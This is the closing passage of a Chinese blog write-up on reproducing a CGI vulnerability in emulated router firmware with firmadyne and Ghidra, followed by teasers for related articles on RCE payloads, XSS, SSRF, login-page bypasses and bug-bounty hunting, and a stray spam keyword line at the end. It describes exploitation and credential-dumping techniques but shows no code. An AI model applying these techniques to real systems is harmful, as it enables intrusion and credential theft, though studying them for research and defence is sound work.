    但是我們要要返回的地址是192.168.0.2,其中包含了x00,所以說沒有復現成功,但是應該也是可以的。這里突然有一個疑惑,怎么能修改firmadyne模擬時對于IP地址的設定? 

    總結

    終于到了總結的部分啦,這次主要和上次的不同是,1、增加了對cgi程序漏洞的復現,主要是設置環境變量,實際上他們獲取參數的過程也是從環境變量中獲取;2、實現了用firmadyne進行模擬復現的情況,并且成功利用;3、增加了ghidra的使用,這個對于mips來說還真的挺舒服的。原本計劃增加一些命令執行的內容,以及自己的一些關于命令執行的理解,就等下一次的入門到入門吧。ps:希望大佬們能對我文中的疑惑進行解答,謝謝。


    漏洞挖掘payload
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    關于遠程代碼執行的常用Payload大家好,我是 Ansar Uddin,我是來自孟加拉國的網絡安全研究員。這是我的第二篇 Bug 賞金文章。今天的話題都是關于 Rce 的利用。攻擊者的能力取決于服務器端解釋器的限制。在某些情況下,攻擊者可能能夠從代碼注入升級為命令注入。
    src漏洞挖掘淺談
    2023-02-20 11:22:13
    信息收集就說到這里,信息收集的主要目的就是擴大可利用面,10000萬個資產你可能碰到弱口令,但1個資產你肯定沒有弱口令挖掘前篇前邊已經講了信息收集,在測試前為了能高效的挖掘src,就需要有數據進行測試,這個數據就是我們常說的字典,字典怎么來,整理,收集,經驗,積累。金額,數量都是可以篡改的地方小結挖掘src漏洞最主要還是挖掘邏輯漏洞,無非就是耐心,細節,多留意數據包的可疑數據,數據包所實現的功能。
    跨站腳本英文全稱(Cross Site Scripting跨站腳本),為了不和css層疊樣式表(英文全稱:Cascading Style Sheets)混淆,因此將跨站腳本縮寫為XSS。本期我們講解一下XSS漏洞原理和利用檢測。
    web服務器經常需要從別的服務器獲取數據,如果獲取數據的服務器地址可控,攻擊者就可以通過web服務器自定義向別的服務器發出請求,本期我們聊一下ssrf漏洞原理和利用.快來一起看看吧
    繞過登錄頁面的七種常見方法這篇文章是關于繞過由于網站的弱點而發生的登錄頁面功能。常見的七種方式繞過 SQL 注入通過跨站點腳本通過操縱響應返回包繞過爆破攻擊限制繞過目錄爆破攻擊默認憑據繞過通過刪除請求中的參數繞過 SQL 注入我以 Mutillidae 為例進行演示。我們以管理員身份登錄。在您的情況下,當它不起作用時嘗試其他payload,并使用 SQLMap 工具dump用戶名和密碼。并顯示彈出窗口,因此您可以通過 XSS 嘗試 CSRF 并查看受害者憑據。這是它的 CSRF payload
    業務漏洞挖掘筆記
    2022-04-03 21:16:10
    業務漏洞挖掘筆記多年的實戰業務漏洞挖掘經驗,為了讓今后的業務漏洞挖掘工作更清晰,以及盡可能的把重復性的工作自
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类